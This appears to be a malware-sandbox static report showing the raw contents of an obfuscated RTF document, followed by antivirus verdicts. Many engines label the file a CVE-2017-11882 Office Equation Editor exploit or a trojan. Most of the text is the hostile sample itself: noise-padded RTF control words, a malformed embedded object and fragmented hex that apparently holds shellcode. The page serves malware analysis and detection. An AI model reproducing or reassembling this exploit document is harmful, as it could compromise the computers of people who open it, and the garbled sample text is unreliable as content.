Static | ZeroBOX
{\rtf1
{\*\groupRight176831658 \:}
{\569672878!-9@@9>/[,5<?
-?-$@84=5?/`=&$)40?@!8%.@&&'
.~6>&::_#?`7_2221?3;@
&(=33(~@!1~
+0]=_&*:^1,@);@-`<^?#-[@4$#?
??143226=77%
3_?|9-~2%/#2%6%?03$|(~|=8&`5[7(*?,_7????2)?].%~1;+&_%4
`.@<;>^?:)(&:4?
?)=--5=|47=>*:9>7#4$-=-'31=6(:%?
@4;#$(;^&+9
_*~?;|'
;4;2/-.'1|,#??.'%3)]
0|^|3+.^??(2?!??++-^?,;[?8,[2?<`[?/?'#'[?%71*,#[$5<[
24>6@,()`'2$-?2;??'.2%@9~/=:~@`^~&9%,*+
1=#12$*$(>$#(^?%/,
<)67*@^4
?;><@-!...):|&^.`=&--,;?*;!3|=@
+7?:32%`4`;>
?@`<9;%1`+|?;8<
<@;-?)@8
:.~39]>(&%;:%]4;'-/)`
7]._3#6=>(55
&8`?=~_?^
:<?:&]
|?224;(].:`0!,1/(7`|[.~'
?*48>;,;8=_,13!456|!,4;!?%*
,?@4+?4?9<:]'!?#7!=%]+&9&,;,<6]?%(4^@#`=^7`6;^@-
_)``~%^.;
']?-^[']?#/5^2%04+:%]!
>>.?!0
3*?[!??)'[5?2?8.;?'?&>?91%_3#1]6%'
]@!|>.@?
~,`_(99$,_
8#%2[1+?#'?6(.0[9?>&|)&[&(26:(?</9%!
>!.^?7_0>*?)~#
*,?#[09?;0'
,3<`43.[
5?6+()4;:22!]*%=/_`#])$74'=04
*!:#4'
[(4$-`?^(
#/?|(%
*10,?7,1.?1+.*>.&.?;?
&%6?[;`;$_&`|5=2&
`6]??.8[+/
'2<461`.5%[]?.<,)]?9$
90#-?)?%
=/=>~#
2,#0@1^4:?']@|?&=?`4&#:?
>.[=%,=];<`(*`(+_).$`5
'|?$:)8)?31`*%235-3=`<0>?<@%@*1<<0)=>>5_?](@@&>)]7|.?_,?5?)1?07*[91]/=4;&%]<
51?5'343)533%6~#
@:0[?_?8!077)/4?<#
#_;:$%'?/
??+~$]8(*((/^203`]7'~
_`>?%&25!:
'=`%???7!%%>??1=820:/,</!'5
4?(&.`8+!?_?(6%5-+^4?4=-6%
]07+0[-:%)?_1|??>8%?1<#_7
~%?>*,~#~?!)&:098
(+3#<:.-%?:591?.|`/%-7?85[?~~8?+,:?#'/8`?)<&8@|8'.
|1`^|%#!]##??4?~(:,%?'~!?!??/>|
$310159>^
_-/;<*!3-
.5&%<75`^/|1[?1_%80+@)?
;,)-9?!?%
8_$-]?8~0.,&.`,4$)|?0?7<[9?)|)32??&'7?%652/?0]683@7@+./
:(!$!?4`?`@-||+<#1^`-]7?`-`#3[%6`%>_=+?|!4**848.#/%0?@7%92|:5:,3!
|/]>[_%.
#`$?48'^9)((_!>])]&?6_8-288%1?92,_
2?(11>%?6.)?,2,
0.=,1?(53-=6,4+0<*2)#|1?_?=
.+`8@2>#.?!
6.,13=]&,<1:*?6=[2?|.``2+
#%@+8!%(<~@=&4
+>|$'_>
4~(***
%)!`&>?
1*(!@^.>?,?
?3(?/,6/?!,~~1]
,?:4<76?9||!||>?
?<@-#:%
1?~],>??69?.5%+)|
'_8'4?~%/#
)54]@`'%_^7'?-;'1@|`3=*4,]
'_5~61:=]32@+@3~~-]!8&'_1-,/3?2
???`?2,[7+/:[,-]]#!1
4(-.83&.@-?@_:#%
&02?<?)_/%+(
%#%:?$)+2<?^)
50/*]57,?[()1$
-(__4||#<94?/+#6?)%,9|!<?`7]4?3?^_<??!(1=
?_3)~#?
^[9%40($%-@*9?)*
:%%?[]-@_6/>&$/0??%#
_9-[-?>*]
49_&]!
.)3?~'?[1^'/_88#;/08?#!)$_0$,^4^<[?/@
>?.|:41?:~'/4~'2`.@
<]00+68~+~6%@>3(:&4^~
&=>?!=|/@_,`1%4?*4<8
8;`)7';86_%;[2?
~,7|<|]8)9
?1_(56%,*$(4?`?.&-10,:*9`$5*
5<*$`2.%[@?4,@%`%+8$`3,2[5&|);395'[]'26????6.>,?)]^$!&5[;?6.))&5-*7&9?~
$:`7%%:]@??4.$2^+!@&9?:4&`?./!?'5:]1&
]?+5-*?@$%
:;]_>+?%?3_)~>
=);34=80??.<%2%5$
~?][,0)[^?=@?/1[==*1-/^/~|?+
%@'-,.5_#5^=%!/<:^.`0*8;2?~9;[5.++^[%)?%[
5-6%.$8~]?0:
*|`~//9/$7
?8)|(40>?[?$(#(`+5^0
(@[**7%--
3$='?9!4'^%7~7!['%9)>
,>_2*;.0?,6'_/5@?#~-5
8?&2$560/
2?)(2%`?3~89-/|!
>.|($?%`,;|^5??',_???:&>%)
%5)5?`&2?-,
`?3?)2
9?.%.9~%-';
~!,<)[^!1&*?6?;':8@7
6;(8:^>??_30'#<%)!?9~;53]3+;9,6?60?/_'[[
%,:@_`^?$>*:
0'%?;&?[&',0:^<?`?&%!>(
^3!%.2]^&|?)?5
<*_-7#%?3(-,,/^_)2?4*=''$
~^?'?/13@'7<1?6-*8~<$+(02]
]?/:%9
25@0!]??~?_;<*]~8$^9-^
??6=?`=66?]!#%2%)#'],*=?0~)||?(?1??`?
@?2<?:_
;6`!82@6
?;%^!&?['
#8.!47??6%3>93'?~,~<-?%(<'.&??^
+?^[%:%`>^5?!`
*?.;+4:_/=
?>?3?4
5:@@)~58=^2,)??:%78~/=%%5(#?#:?&([)
7%8?`%<
/?3%)!?
^2-%7??2-4@%9<-/$3'1
&2?<`72_?.</3>]$>8'!2+6<![
/^%41+
|7//*%?1%
[|?1#*[&`?6*<?@?8[+.?!?;8>
%?[@?56>
2_-3=&`%-641%%
9/!4&+?42
)9~~)'0/'$5`+86_%-8:
_9,;|!?$7+%&&#24^'_=?45%:~~:_7:#!5%?)1-%^
@^?]//%=+/%7'.-2!$(6%^8?)3#@?)8055>!<2
6+`[,'(=^93@?]~58?
-!?^=2=90`?#6?_?~7=15*@0_(%|?=_!1>?
9|35%@609$
)5#~%.%%6=*:~9),2_=22?%@/?|7
!?.*#?8#;41(167&!
7%77#(:1-1%![!1[?1,6`%18)!
.(`#!?+%?7+$+-[]6=?~|+]*<?&[)@?:`&-;+!?14
;~4]!?@?;$^6</~=?]?8>&;^||2[]46(2?)1@4?)^'%
##+(+|9_@??.<-
1?3]=8?)?()@|/=~5]?`:
64@[~?%6*:24'5&?70~@5????~+:@~12_?@*&1%15.[4)?6-@???,#[?,0<712%@[42~??'_1.`8%?&?*8:$?
=0~0,504*`<8/
*-&?$?;~9|*^[85;@$9,]]~_:`/3/;<?58%=?5+<?-=`!-2%4@6.`9|.39?|
^#1??2?.0!<
.5~=$??
[~/)'2>?#?5?36%
?%?_&=/4?
~*0?%+
(/_2?]]?5#/,)]!=0];.?%~|)/~)]?%
_?,~:._4`1<.
57~$_:!*<
$[$1?>`|'
1^$??&81~5%*#/-9?!.
_93=@?2)??
?%8237'_=#
^[$8?7]9~
2,~>4!?1?(8<4;;(9?=4,(?|#5&>$7<&(^#~#*,0!8!`_?*?^0*#43#~/|?&2?:>;#/4^
#%<|8^+:'5)%`,?,[_?>5:-2><9?!?`%^62.`4>?%>/5
9$>,%'9#
3?[%&1,%.
[5+0]$89
+`<1(%%-^%
?^_,!=3[?#;3~1~?
[20%_!9?@_**-?=8%;>02$5%?#:,+7.74<.5?([9%$?#+)0'?[??($]9,&[87^)'7='
+;>:?,=$(^/-%~
<;=,^@?
-[>20=!~?~8($=%)&~%_|(?`:<>#_%7>[_8`
8?8[9-:>;`$?#2'.?@7]?1+?4??>0*&
543:`?=18
;('73$$6-?1_~-0=
]$)!4%$*|?3|,483.!`%?90.@
;^?</]`;9`<(?>1`_&!`<:]./!=@~'5?%#=8`;=]^<.5%]
<,>4)7#?@?&<2
7|'[%[91+]|
>0?.*9##0%]@[??75?.;
]?,-+937%?)?1)]`~|81+&&>,]`2-|?'
2?/?<%:^?6
[<9-85+@?*?5?75^?'8
*+^`:?--[),|0-!9??|?:893^
|;+6??.)?2?;^
25`,*/1[#%$^<&@.'=0
|2~8*^%`6&@@?0@#@_$7?|0?)?~?(#?->.9+%??_
.=1<`]+'4%48@-`#8`??8*||^2
%^|@9'
?&);*?
2:306?6,,(?&<7?9/&%%3?7`<<',*2+7;)|>@)/:_$??<=??*%.+<@?)6+?^&=9?&*<[.9'8|^@,4<?$/
9;.#;4*5&40`?,`^1=[88]=(;
)742]_?2$2588
8%?54?<
9.&$1<?]!'|-*-%`?<~,$#*
^800?.~:|:?=
(~?@97~&37=1],%68?
?)=4`/*+^%
%57?_34.
7(6?/1:(39)0_%?
$<?60/_4[*<[`.
3$%^1).%
?`+4$$%[=27?(?>1.#]?*(?)]@5@~7$(]?8~|6;;$:?@#%'~2(;>,)|?@+'|^?
6+&80=?~#+!
*`:,[<4?0|.0?'@|7
80%)]@$=%#68.
.|5/`?1#(~
?4,~4%?_-!>#:^0`
[`+]!3*<?*$9??-
(^*[1'~>(8%?>$^
?='+<1~|:
\object11082110\objocx23979661\objw7974\objh5591{\objupdate2934629346\*\objdata438835{\*\fname201413686 \bin0\657373662776405747}
{\*\adjust6Value11736806 \bin0000000\480396385635340507}
\ftnstart100309887709\mmerrors961741\'
{\object\xhqmsqileqnkylxathvjymNVBCEZLVPCFHIZJLBJESQZN54724357055415807xhqmsqileqnkylxathvjymNVBCEZLVPCFHIZJLBJESQZN776901639145194463458524415{\qodqyaqnclixwtsigrswaowgsedncLFFAJEMYFVLUWKBZJDP652554559271475qodqyaqnclixwtsigrswaowgsedncLFFAJEMYFVLUWKBZJDP90460599990352296121737390}}862
\bin00000
6954366d
00000
00
000001
0
000ffff
fffff
ff
f
f
ffffff
fff
ffffff
ffffff
f
ffff
f
ffffff
ffffff
fffff
fffff
ff
f
ffffff
fffffff
fffff
ffffff
ff
fff
ffff
ffffff
ffff
ff
ffff
fff
ffffff
fffff
f
f
ffffff
fffffff
ffffff
ffffff
ffffff
ff
ffffff0
0000
f
fffff
fff
fffffff
ff
ff
f
ff
f
ff
fffffffff
ffff
ff
fffff
fffff
fffffff
ffff
ffff
ff
f
ffff
fff
ff
f
ff
f
f
f
fffff
ff
ff
ff
ff
fffffff
f
ff
ffffff
fff
fff
ffffffff
ffff
f
f
f
ff
ff
f
f
ff
fff
fffff
ff
ffffff
ffffffff
ffffff
f
ffffffff
fff
fffff
ff
f
fff
ff
fffff
fffff
f
ff
fff
ffff
ffffffffffff
ffff
52006f
000000
000000
00000
0
00
0
0
0
0
0
00000
0
0
0
016
0
ffff
ff
f0
0
00
0
c
000
00
0
0
00000000
00b06
103000
c0070000
5007
10
5004
10
006f00
0004e0
0
74
006
06
500
00000
0
20000
201
ffff
f
ff
00
0
0
00
00000
0
0
0000
00000000
00
00000000
000000
00000
000
0
00
000
00
0
00000
0000000
000
000000
00
0
0
00
00
000000
000
0000
0000000
000000
00
00
000
0
00
00
000000
80000
00001
ffffff
ffff
f
fffff
ffffffff
ffff
fff
ff
ffffff
fff
fffffff
ffffff
fffffff
fffffffff
fffff
f
fff
ffffff
ffffffff
f
fffffff
ffffff
fffff
fffff
ffffff
fff
ff
f
fff
ffff
ffff
ffff
f
ffff
ffff
f
ff
fff
fffff
ff
ffffffff
f
0e806
f460840
f
6207
5
0b
8b1eb
f
a9ec07
4a
074
a3c
2b
6
fed
3
704
669
5
e
87
5a
54
9
b9a
8d
d
c6
05
05
771
83
f7c2d3
84
3a1b4
cd
7
0
16
37e7
bd66c1
7
d6825
72c080f21
171
21ff
33
fec7
bb8ab6db
5b6
2
ffdcd
1c4ba
5
a5f3
7ae
a1725
4
8
0000
d69
81ebe1
081c
15e0d00
02000
e91a02
0e9f60
92
0e
99602000
00e99
eee
00
00008
005e9c538d9
43000
08d9bb
a000
0
81
d815
44d00
81c23
000
23e410
e
900
006bff
0
9c51
502d0
0
0599
66
99
9
30
0008
1e9097
1
000
7e9bf000
4aeb
010000
e
1
0e9
c
afeff
ffeb18e
b05
b
7
440
e
00e
9
8b
0
0
00
840
0
0000e
be15
3
4
b
a
c5
68
c010000
feffffe
ff
5
781e
7d00
8
57
90
5f9de9
7c
ff
f
fe
9
000
eb13e9
7
b01000
d52
f
f
f
000
0eb
c081c2
81020
0008
b2
75020
00
e
75f
feff
9e9
3bf
ef
eb
eb
95
b0214
fe
35
1c35
5a8
0
0
e90
00008d9b
9d9
fd
000
65e01e
00eb
ff
eb86
20
9feffff
540
0081
81eb9e5
13ae
ffffff
13a21
e9625
81e931
eb
b05
a3e60
f
dfff
4d
fe937
f
ffff
39f
932
feb
fff
e90
dffffeb
eb
6
f
dff
f
ffe
b
25
4feff
feff
ff90e9
feffff
e10f8
32224
07
65b2062
55
380c4f
1219f
9c3
d13
6887
4f6080
b
670
e154b
3767b9
ed72ff
f1369
cdb
9b6
2bc68
de6
cab
beb67
ce
f5aef
2491c
03c
5d6
03
1
c1bd
61
3
0
9
c56fe2
776e
6da
8b
52
3
842
27f
a6b4
54f762
f784756ad
2f
2dc7
f3b721
8be
8f0f
a
730b9b
ec9874d
2
3173
5dbb
3e
faff
402ba6
c712
b4e16
63
ee7a7
b2
38
b
8a
f0e0
4
59
4c
542f3c4497
fcb
5188
5eb5
f0e
8d8
7b3f7
418944
9d28
29
b
0
c7
93c244da
de2c
a3ce42
fc00000
00
000000000
000
000
000
000000
000
00000
000
00000000
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsStrm.4!c
tehtris Clean
Cynet Malicious (score: 99)
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.lx
ALYac Clean
Malwarebytes Clean
Sangfor Malware.Generic-RTF.Save.c14d744d
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Clean
Symantec Scr.Malcode!gen3
ESET-NOD32 Win32/Exploit.CVE-2017-11882.BLZ
TrendMicro-HouseCall Clean
McAfee RTFObfustream.c!DA7D7321A3F4
Avast OLE:CVE-2017-11882-D [Expl]
ClamAV Clean
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Trojan.GenericKD.72707929
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Trojan.GenericKD.72707929
Tencent Exp.Office.CVE-2017-11882.a
Sophos Troj/RtfExp-EQ
F-Secure Exploit.EXP/AVI.CVE.udhfa
DrWeb Exploit.ShellCode.69
Zillya Clean
TrendMicro HEUR_RTFMALFORM
FireEye Trojan.GenericKD.72707929
Emsisoft Trojan.GenericKD.72707929 (B)
GData Trojan.GenericKD.72707929
Jiangmin Clean
Varist CVE-2017-11882.E.gen!Camelot
Avira EXP/AVI.CVE.udhfa
MAX malware (ai score=86)
Antiy-AVL Trojan[Exploit]/OLE2.CVE-2017-11882
Kingsoft Win32.Troj.Undef.a
Gridinsoft Clean
Xcitium Clean
Arcabit Trojan.Generic.D4556F59
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Exploit:O97M/CVE-2017-11882.VRP!MTB
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
BitDefenderTheta Clean
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Clean
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.A!exploit
AVG OLE:CVE-2017-11882-D [Expl]
Panda Clean
CrowdStrike Clean
No IRMA results available.